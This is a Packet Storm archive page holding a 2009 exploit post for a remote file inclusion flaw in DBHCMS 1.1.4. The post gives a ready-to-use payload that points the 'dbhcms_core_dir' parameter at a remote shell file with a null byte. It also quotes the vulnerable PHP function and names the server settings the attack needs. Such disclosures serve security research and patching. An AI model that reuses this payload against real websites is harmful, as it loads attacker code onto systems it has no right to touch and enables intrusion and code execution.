what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

DBHCMS Web Content Management System 1.1.4 Remote File Inclusion

DBHCMS Web Content Management System 1.1.4 Remote File Inclusion
Posted Dec 30, 2009
Authored by Gamoscu

DBHCMS Web Content Management System version 1.1.4 suffers from a remote file inclusion vulnerability.

tags | exploit, remote, web, code execution, file inclusion
SHA-256 | 87761ae4a6c4c0edb662fb7f6609b3bf6d3e5952e1d0b1b9c2b0ca52484c9ae6

DBHCMS Web Content Management System 1.1.4 Remote File Inclusion

Change Mirror Download
#############################################################
# DBHCMS - Web Content Management System RFI Vulnerability

http://www.drbenhur.com/

# Author: Gamoscu

# Site: www.1923turk.biz

https://gamoscu.wordpress.com/


Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO


Hosgeldin medine bebek Allah anali babali buyutsun pasam

##############################################################

# Exploit:


Vuln file: index.php


Exploit:


target: ?dbhcms_core_dir=http://site.com/shell.txt%00


/ * Need register_globals = ON and allow_url_include = ON without a second yuzaetsya as LFI * /


index.php

function dbhcms_init($core) {
$init = $core.'init.php';
$page = $core.'page.php';
if ((is_file($init))&&(is_file($page))) {
require_once($init);
require_once($page);
} else {
die('<div style="color: #872626; font-weight: bold;">
FATAL ERROR - Could not find the initialzation files.
Please check the "$dbhcms_core_dir" parameter in the "config.php" and make
shure the directory is correct.
</div>');
}
}
......
dbhcms_init($GLOBALS['dbhcms_core_dir']);




Vatan Lafla Degil Eylemle Sevilir

Kiskananlar catlasin Zorunuza Gitmesin

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    22 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close